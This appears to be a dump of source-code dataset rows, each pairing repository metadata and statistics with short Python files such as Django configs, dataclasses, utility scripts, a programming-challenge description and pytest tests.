app.run(port=8080) | 17.555556 | 39 | 0.658228 | 22 | 158 | 4.545455 | 0.681818 | 0.22 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030769 | 0.177215 | 158 | 9 | 40 | 17.555556 | 0.738462 | 0 | 0 | 0 | 0 | 0 | 0.165563 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0.166667 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 4 |
1e4c258259e9c0c3a6c5713da0cff80e10dbb534 | 166 | py | Python | account/exceptions.py | KimSoungRyoul/drf_unitteset_study_project | 9a0d824bdc6343eeba6209299c077a6e9d280516 | [
"MIT"
] | null | null | null | account/exceptions.py | KimSoungRyoul/drf_unitteset_study_project | 9a0d824bdc6343eeba6209299c077a6e9d280516 | [
"MIT"
] | null | null | null | account/exceptions.py | KimSoungRyoul/drf_unitteset_study_project | 9a0d824bdc6343eeba6209299c077a6e9d280516 | [
"MIT"
] | null | null | null | from rest_framework.exceptions import NotAuthenticated as DRFNotAuthenticated
class NotAuthentication(DRFNotAuthenticated):
default_detail = '인증 되지 않은 사용자입니다.'
| 27.666667 | 77 | 0.831325 | 17 | 166 | 8 | 0.941176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.120482 | 166 | 5 | 78 | 33.2 | 0.931507 | 0 | 0 | 0 | 0 | 0 | 0.096386 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
1e6586167fb40df4b085ff9ed762420d0879a44f | 124 | py | Python | ingestion/Blocktrace/Schemas/Action.py | mharrisb1/blocktrace | 3c54286d4f28c3b0610f577dfdbbf643953475fa | [
"MIT"
] | null | null | null | ingestion/Blocktrace/Schemas/Action.py | mharrisb1/blocktrace | 3c54286d4f28c3b0610f577dfdbbf643953475fa | [
"MIT"
] | null | null | null | ingestion/Blocktrace/Schemas/Action.py | mharrisb1/blocktrace | 3c54286d4f28c3b0610f577dfdbbf643953475fa | [
"MIT"
] | null | null | null | from dataclasses import dataclass
@dataclass(frozen=True)
class Action:
account: str
name: str
jsonData: dict
| 13.777778 | 33 | 0.717742 | 15 | 124 | 5.933333 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.217742 | 124 | 8 | 34 | 15.5 | 0.917526 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.166667 | 0 | 0.833333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
1e794aab1f797a9d672ad7f3b5b8a5edbbdea493 | 8,465 | py | Python | PreprocessData/all_class_files/Vehicle.py | wkid-neu/Schema | 4854720a15894dd814691a55e03329ecbbb6f558 | [
"MIT"
] | 3 | 2021-11-06T12:29:05.000Z | 2022-03-22T12:48:55.000Z | PreprocessData/all_class_files/Vehicle.py | DylanNEU/Schema | 4854720a15894dd814691a55e03329ecbbb6f558 | [
"MIT"
] | null | null | null | PreprocessData/all_class_files/Vehicle.py | DylanNEU/Schema | 4854720a15894dd814691a55e03329ecbbb6f558 | [
"MIT"
] | 1 | 2021-11-06T12:29:12.000Z | 2021-11-06T12:29:12.000Z | from PreprocessData.all_class_files.Product import Product
import global_data
class Vehicle(Product):
def __init__(self, additionalType=None, alternateName=None, description=None, disambiguatingDescription=None, identifier=None, image=None, mainEntityOfPage=None, name=None, potentialAction=None, sameAs=None,... | 43.634021 | 1,294 | 0.745304 | 695 | 8,465 | 8.946763 | 0.146763 | 0.024124 | 0.056288 | 0.014474 | 0.006433 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002048 | 0.192439 | 8,465 | 193 | 1,295 | 43.860104 | 0.907548 | 0 | 0 | 0.374101 | 0 | 0 | 0.002418 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.374101 | false | 0 | 0.014388 | 0.179856 | 0.582734 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
1e94caa9c385955f2686026562bcd150a5a12a93 | 94 | py | Python | django_doc/apps.py | bgreatfit/locallibrary | 2be9656a47a315c521c9280b0d9e433589d02229 | [
"CC0-1.0"
] | null | null | null | django_doc/apps.py | bgreatfit/locallibrary | 2be9656a47a315c521c9280b0d9e433589d02229 | [
"CC0-1.0"
] | 7 | 2020-06-06T01:20:33.000Z | 2022-02-10T14:46:54.000Z | django_doc/apps.py | bgreatfit/locallibrary | 2be9656a47a315c521c9280b0d9e433589d02229 | [
"CC0-1.0"
] | null | null | null | from django.apps import AppConfig
class DjangoDocConfig(AppConfig):
name = 'django_doc'
| 15.666667 | 33 | 0.765957 | 11 | 94 | 6.454545 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.159574 | 94 | 5 | 34 | 18.8 | 0.898734 | 0 | 0 | 0 | 0 | 0 | 0.106383 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
1e9dd7d3bfd4abdddc68031dfa46223d752b3b36 | 325 | py | Python | Day18/Extract_Unique_Dictionary_Values.py | tushartrip1010/100_days_code_py | ee74b429e98cdd8bdf8661cf987da67c9fee5a3e | [
"Apache-2.0"
] | null | null | null | Day18/Extract_Unique_Dictionary_Values.py | tushartrip1010/100_days_code_py | ee74b429e98cdd8bdf8661cf987da67c9fee5a3e | [
"Apache-2.0"
] | null | null | null | Day18/Extract_Unique_Dictionary_Values.py | tushartrip1010/100_days_code_py | ee74b429e98cdd8bdf8661cf987da67c9fee5a3e | [
"Apache-2.0"
] | null | null | null | def Extract_Dictionary_Values(Test_dict):
return [sorted({numbers for ele in Test_dict.values() for numbers in ele})]
Test_dict = {'Challenges': [5, 6, 7, 8],
'are': [10, 11, 7, 5],
'best': [6, 12, 10, 8],
'for': [1, 2, 5]}
print(*(Extract_Dictionary_Values(Test_dict... | 32.5 | 80 | 0.556923 | 46 | 325 | 3.76087 | 0.543478 | 0.184971 | 0.265896 | 0.312139 | 0.358382 | 0 | 0 | 0 | 0 | 0 | 0 | 0.080169 | 0.270769 | 325 | 9 | 81 | 36.111111 | 0.649789 | 0 | 0 | 0 | 0 | 0 | 0.063291 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0 | 0.142857 | 0.285714 | 0.142857 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 4 |
1eb4a02a64364ebfeeba9ebc52a8d3c2ce8062d4 | 95 | py | Python | vertexPlus/apps.py | FelixTheC/onlineOrderForm | 6f606fe7baa56e94d48278da8258b5eb33a3590d | [
"Apache-2.0"
] | null | null | null | vertexPlus/apps.py | FelixTheC/onlineOrderForm | 6f606fe7baa56e94d48278da8258b5eb33a3590d | [
"Apache-2.0"
] | null | null | null | vertexPlus/apps.py | FelixTheC/onlineOrderForm | 6f606fe7baa56e94d48278da8258b5eb33a3590d | [
"Apache-2.0"
] | 1 | 2021-04-01T16:52:35.000Z | 2021-04-01T16:52:35.000Z | from django.apps import AppConfig
class VertexplusConfig(AppConfig):
name = 'vertexPlus'
| 15.833333 | 34 | 0.768421 | 10 | 95 | 7.3 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 95 | 5 | 35 | 19 | 0.9125 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
1eb5ab72fa4e8ae3b5945e1e1d5a45fc46e774bf | 494 | py | Python | ECD_control/__init__.py | AndrewOriani/ECD_control | 1b968c8b729e7e2606e7c7cbfbf762b5439ee5b7 | [
"MIT"
] | null | null | null | ECD_control/__init__.py | AndrewOriani/ECD_control | 1b968c8b729e7e2606e7c7cbfbf762b5439ee5b7 | [
"MIT"
] | null | null | null | ECD_control/__init__.py | AndrewOriani/ECD_control | 1b968c8b729e7e2606e7c7cbfbf762b5439ee5b7 | [
"MIT"
] | 1 | 2022-02-27T21:44:05.000Z | 2022-02-27T21:44:05.000Z |
from . import ECD_optimization
from . import ECD_pulse_construction
from .ECD_pulse_construction import FakeStorage, FakeQubit, FakePulse
from .ECD_optimization import BatchOptimizer, OptimizationSweepsAnalysis, OptimizationAnalysis, VisualizationMixin, tf_quantum, optimization_sweeps
__all__=['BatchOptimizer', 'Opti... | 70.571429 | 206 | 0.84413 | 44 | 494 | 9.113636 | 0.386364 | 0.05985 | 0.149626 | 0.389027 | 0.523691 | 0.523691 | 0.523691 | 0.523691 | 0 | 0 | 0 | 0 | 0.068826 | 494 | 7 | 206 | 70.571429 | 0.871739 | 0 | 0 | 0 | 0 | 0 | 0.319838 | 0.097166 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.8 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
1eb5af2ede1d52e797cf68dab5feb50106d2e810 | 163 | py | Python | src/notepad/forms.py | vijaykumarmcp/StockChartVisual | 569010e5180640039b201460095abd341a922ec2 | [
"MIT"
] | null | null | null | src/notepad/forms.py | vijaykumarmcp/StockChartVisual | 569010e5180640039b201460095abd341a922ec2 | [
"MIT"
] | null | null | null | src/notepad/forms.py | vijaykumarmcp/StockChartVisual | 569010e5180640039b201460095abd341a922ec2 | [
"MIT"
] | null | null | null | from django import forms
from .models import Note
class NoteModelForm(forms.ModelForm):
class Meta:
model=Note
fields=['title','url','image']
| 20.375 | 38 | 0.674847 | 20 | 163 | 5.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.214724 | 163 | 7 | 39 | 23.285714 | 0.859375 | 0 | 0 | 0 | 0 | 0 | 0.079755 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
1eb658ec8e22f6303c8c567ea06eb6b7d4c2a705 | 109,525 | py | Python | client.py | blockchainhelppro/Security-Flag-Installation | 25a193191bb94f58642f30a16c1ab32470258e37 | [
"MIT"
] | null | null | null | client.py | blockchainhelppro/Security-Flag-Installation | 25a193191bb94f58642f30a16c1ab32470258e37 | [
"MIT"
] | null | null | null | client.py | blockchainhelppro/Security-Flag-Installation | 25a193191bb94f58642f30a16c1ab32470258e37 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
#
# Copyright (C) 2009-2016 Red Hat, Inc.
#
# Authors:
# Thomas Woerner <twoerner@redhat.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the Li... | 32.015493 | 105 | 0.665766 | 12,086 | 109,525 | 5.853384 | 0.052457 | 0.129368 | 0.153087 | 0.103472 | 0.796166 | 0.763796 | 0.716584 | 0.676623 | 0.596079 | 0.546902 | 0 | 0.004094 | 0.239525 | 109,525 | 3,420 | 106 | 32.024854 | 0.845265 | 0.023602 | 0 | 0.655033 | 0 | 0 | 0.035032 | 0.014459 | 0 | 0 | 0 | 0.000292 | 0 | 1 | 0.21014 | false | 0.012491 | 0.005143 | 0.101029 | 0.331741 | 0.00147 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 4 |
1ed8fea2fed3df727c9a3461ccb8dd44819a9da4 | 230 | py | Python | exp/aeceou/ACL2022/modules/__init__.py | aeceou/OpenNMT-py-Exp | 16163b9716e50a7c5aa447b4fac08f011b265dd9 | [
"MIT"
] | 1 | 2021-10-01T18:31:56.000Z | 2021-10-01T18:31:56.000Z | exp/aeceou/ACL2022/modules/__init__.py | aeceou/OpenNMT-py-Exp | 16163b9716e50a7c5aa447b4fac08f011b265dd9 | [
"MIT"
] | null | null | null | exp/aeceou/ACL2022/modules/__init__.py | aeceou/OpenNMT-py-Exp | 16163b9716e50a7c5aa447b4fac08f011b265dd9 | [
"MIT"
] | null | null | null | """ Attention and normalization modules """
from exp.aeceou.ACL2022.modules.feldermodell import Feldermodell
from exp.aeceou.ACL2022.modules.embeddings import FlexibleEmbeddings
__all__ = ["Feldermodell", "FlexibleEmbeddings"]
| 38.333333 | 68 | 0.813043 | 23 | 230 | 7.956522 | 0.565217 | 0.076503 | 0.142077 | 0.218579 | 0.295082 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038278 | 0.091304 | 230 | 5 | 69 | 46 | 0.837321 | 0.152174 | 0 | 0 | 0 | 0 | 0.162162 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
1edd0d016b65bf5191cdf8012aade0770d836f39 | 125 | py | Python | 03.list_names.py | arunkumarang/python | 1960e285dfe2ef54d2e3ab37584bfef8b24ecca9 | [
"Apache-2.0"
] | null | null | null | 03.list_names.py | arunkumarang/python | 1960e285dfe2ef54d2e3ab37584bfef8b24ecca9 | [
"Apache-2.0"
] | null | null | null | 03.list_names.py | arunkumarang/python | 1960e285dfe2ef54d2e3ab37584bfef8b24ecca9 | [
"Apache-2.0"
] | null | null | null |
names = ['Senthil', 'Natesh', 'Ashok', 'Rajasekar']
print(names[0])
print(names[1])
print(names[2])
print(names[3])
| 15.625 | 52 | 0.608 | 17 | 125 | 4.470588 | 0.588235 | 0.526316 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.037736 | 0.152 | 125 | 7 | 53 | 17.857143 | 0.679245 | 0 | 0 | 0 | 0 | 0 | 0.230769 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.8 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
94b35803ebc82093226f80f0ded5d652d2994c1a | 908 | py | Python | library/tests/test_utils.py | SACGF/variantgrid | 515195e2f03a0da3a3e5f2919d8e0431babfd9c9 | [
"RSA-MD"
] | 5 | 2021-01-14T03:34:42.000Z | 2022-03-07T15:34:18.000Z | library/tests/test_utils.py | SACGF/variantgrid | 515195e2f03a0da3a3e5f2919d8e0431babfd9c9 | [
"RSA-MD"
] | 551 | 2020-10-19T00:02:38.000Z | 2022-03-30T02:18:22.000Z | library/tests/test_utils.py | SACGF/variantgrid | 515195e2f03a0da3a3e5f2919d8e0431babfd9c9 | [
"RSA-MD"
] | null | null | null | from django.test import TestCase
from library.utils import format_significant_digits
class TestUtils(TestCase):
def test_sig_digits(self):
self.assertEqual("0", format_significant_digits(0))
self.assertEqual("1", format_significant_digits(1))
self.assertEqual("10000", format_significant_... | 45.4 | 81 | 0.730176 | 112 | 908 | 5.6875 | 0.258929 | 0.320251 | 0.433281 | 0.22606 | 0.434851 | 0.356358 | 0.356358 | 0.356358 | 0.356358 | 0.174254 | 0 | 0.133676 | 0.143172 | 908 | 19 | 82 | 47.789474 | 0.68509 | 0 | 0 | 0 | 0 | 0 | 0.053965 | 0 | 0 | 0 | 0 | 0 | 0.733333 | 1 | 0.066667 | false | 0 | 0.133333 | 0 | 0.266667 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
94c868b560050efff6b6c316de68e039635c4911 | 527 | py | Python | DeepHyperion-BNG/core/individual.py | IharBakhanovich/DeepHyperion | f7f696ba95124125dfe967ea4890d944a9958d77 | [
"MIT"
] | null | null | null | DeepHyperion-BNG/core/individual.py | IharBakhanovich/DeepHyperion | f7f696ba95124125dfe967ea4890d944a9958d77 | [
"MIT"
] | null | null | null | DeepHyperion-BNG/core/individual.py | IharBakhanovich/DeepHyperion | f7f696ba95124125dfe967ea4890d944a9958d77 | [
"MIT"
] | null | null | null | from typing import Tuple
from numpy import mean
from core.member import Member
class Individual:
def __init__(self, m: Member):
self.m: Member = m
self.oob_ff: float = None
self.seed: Member = None
def clone(self) -> 'creator.base':
raise NotImplemented()
def evaluate(... | 19.518519 | 41 | 0.609108 | 65 | 527 | 4.861538 | 0.476923 | 0.18038 | 0.208861 | 0.164557 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010782 | 0.296015 | 527 | 27 | 42 | 19.518519 | 0.84097 | 0 | 0 | 0.166667 | 0 | 0 | 0.041667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.277778 | false | 0 | 0.166667 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
94c994dc66317d77bdc2f7497c37eef067092d1a | 153 | py | Python | get_model.py | dzh19990407/LBDT | 0eabf5bafc17ba42bae7f31537ae6d9ce209bd63 | [
"MIT"
] | null | null | null | get_model.py | dzh19990407/LBDT | 0eabf5bafc17ba42bae7f31537ae6d9ce209bd63 | [
"MIT"
] | null | null | null | get_model.py | dzh19990407/LBDT | 0eabf5bafc17ba42bae7f31537ae6d9ce209bd63 | [
"MIT"
] | null | null | null | from models import LBDT_4
def get_model_by_name(model_name, *args, **kwargs):
model = eval(model_name).JointModel(*args, **kwargs)
return model
| 25.5 | 56 | 0.732026 | 23 | 153 | 4.608696 | 0.652174 | 0.169811 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007692 | 0.150327 | 153 | 5 | 57 | 30.6 | 0.807692 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
94d737eb66d5d8ba0f33de30143da150e1a60d8c | 170 | py | Python | examinator/scratch/20190407_rdir.py | brl0/examinator | 52706108eea65b854f056fd53e17fef5c8dccbe8 | [
"MIT"
] | null | null | null | examinator/scratch/20190407_rdir.py | brl0/examinator | 52706108eea65b854f056fd53e17fef5c8dccbe8 | [
"MIT"
] | 1 | 2021-11-15T17:49:24.000Z | 2021-11-15T17:49:24.000Z | examinator/scratch/20190407_rdir.py | brl0/examinator | 52706108eea65b854f056fd53e17fef5c8dccbe8 | [
"MIT"
] | null | null | null | #%%
import os
def rdir(path):
if os.path.isdir(path):
return {path: [rdir(p) if p.is_dir() else p for p in os.scandir(path)]}
return [path]
rdir('.')
| 14.166667 | 79 | 0.576471 | 29 | 170 | 3.344828 | 0.517241 | 0.206186 | 0.28866 | 0.371134 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.241176 | 170 | 11 | 80 | 15.454545 | 0.751938 | 0.011765 | 0 | 0 | 0 | 0 | 0.005988 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
94e08ee04a11eeb2e80e839e9b801394b90b932b | 114 | py | Python | src/python/defs.py | sloorush/ebpf-keylogger | 5a4f3936e96f40c223755be179e482c332fafc96 | [
"MIT"
] | null | null | null | src/python/defs.py | sloorush/ebpf-keylogger | 5a4f3936e96f40c223755be179e482c332fafc96 | [
"MIT"
] | null | null | null | src/python/defs.py | sloorush/ebpf-keylogger | 5a4f3936e96f40c223755be179e482c332fafc96 | [
"MIT"
] | null | null | null | import os, sys
ticksleep = 0.1
project_path = os.path.realpath(os.path.join(os.path.dirname(__file__), "../.."))
| 22.8 | 81 | 0.692982 | 18 | 114 | 4.111111 | 0.666667 | 0.243243 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019417 | 0.096491 | 114 | 4 | 82 | 28.5 | 0.699029 | 0 | 0 | 0 | 0 | 0 | 0.04386 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
94e271a00db69c3f18a08b454a3bf3606d11830c | 168 | py | Python | music_random.py | rnsribeiro/RenomearEmMassa | 08018254c8facbaab8a5126167b06421256a7129 | [
"MIT"
] | null | null | null | music_random.py | rnsribeiro/RenomearEmMassa | 08018254c8facbaab8a5126167b06421256a7129 | [
"MIT"
] | null | null | null | music_random.py | rnsribeiro/RenomearEmMassa | 08018254c8facbaab8a5126167b06421256a7129 | [
"MIT"
] | null | null | null | import os
from random import randint
for name in os.listdir('pendrive'):
newname='{}.mp3'.format(randint(0,1000000))
os.rename("pendrive/"+name,"pendrive/"+newname)
| 24 | 48 | 0.732143 | 24 | 168 | 5.125 | 0.666667 | 0.243902 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.058824 | 0.089286 | 168 | 6 | 49 | 28 | 0.745098 | 0 | 0 | 0 | 0 | 0 | 0.190476 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
a214c7ec48340fb081e4fdcc97fecaadee107945 | 1,672 | py | Python | DailyProgrammer/DP20121103B.py | DayGitH/Python-Challenges | bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf | [
"MIT"
] | 2 | 2020-12-23T18:59:22.000Z | 2021-04-14T13:16:09.000Z | DailyProgrammer/DP20121103B.py | DayGitH/Python-Challenges | bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf | [
"MIT"
] | null | null | null | DailyProgrammer/DP20121103B.py | DayGitH/Python-Challenges | bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf | [
"MIT"
] | null | null | null | """
[11/3/2012] Challenge #110 [Intermediate] Creepy Crawlies
https://www.reddit.com/r/dailyprogrammer/comments/12k3xt/1132012_challenge_110_intermediate_creepy_crawlies/
**Description:**
The web is full of creepy stories, with Reddit's /r/nosleep at the top of this list. Since you're a huge fan of not
sleeping (we a... | 46.444444 | 119 | 0.754187 | 279 | 1,672 | 4.473118 | 0.530466 | 0.019231 | 0.038462 | 0.048077 | 0.165064 | 0.104167 | 0.104167 | 0.104167 | 0.104167 | 0.104167 | 0 | 0.020774 | 0.165072 | 1,672 | 35 | 120 | 47.771429 | 0.873209 | 0.956938 | 0 | 0 | 0 | 0 | 0.125 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0.25 | 0 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
a21a04f90ea13fad7c52e0b2df6f3e7f87fe6303 | 3,744 | py | Python | tests/test_cmd.py | gLhookniano/autoargparse | a894ca9daeec55e8ebad9dfba3cf6ab9048ef3f0 | [
"MIT"
] | null | null | null | tests/test_cmd.py | gLhookniano/autoargparse | a894ca9daeec55e8ebad9dfba3cf6ab9048ef3f0 | [
"MIT"
] | null | null | null | tests/test_cmd.py | gLhookniano/autoargparse | a894ca9daeec55e8ebad9dfba3cf6ab9048ef3f0 | [
"MIT"
] | null | null | null | #!coding:utf-8
from sys import path as sys_path
from os import path as os_path
import subprocess
import pytest
sys_path.append(os_path.abspath(os_path.join(os_path.dirname(__file__), "../")))
import autoargparse
@pytest.mark.inner
@pytest.mark.parametrize(
"input,stdin,expected",
[
("python ./cmd_i... | 24.470588 | 88 | 0.565705 | 491 | 3,744 | 4.187373 | 0.154786 | 0.122568 | 0.011673 | 0.075875 | 0.786965 | 0.738813 | 0.728113 | 0.714494 | 0.679961 | 0.679961 | 0 | 0.031398 | 0.268429 | 3,744 | 152 | 89 | 24.631579 | 0.719241 | 0.009081 | 0 | 0.627907 | 0 | 0.007752 | 0.226807 | 0.024542 | 0 | 0 | 0 | 0 | 0.085271 | 1 | 0.046512 | false | 0 | 0.03876 | 0 | 0.085271 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
a21b07330121846c814ab73b811e99b5f7553e13 | 27,948 | py | Python | test/dragon/test_autograph.py | seetaresearch/Dragon | 494774d3a545f807d483fd9e6e4563cedec6dda5 | [
"BSD-2-Clause"
] | 81 | 2018-03-13T13:08:37.000Z | 2020-06-13T14:36:29.000Z | test/dragon/test_autograph.py | seetaresearch/Dragon | 494774d3a545f807d483fd9e6e4563cedec6dda5 | [
"BSD-2-Clause"
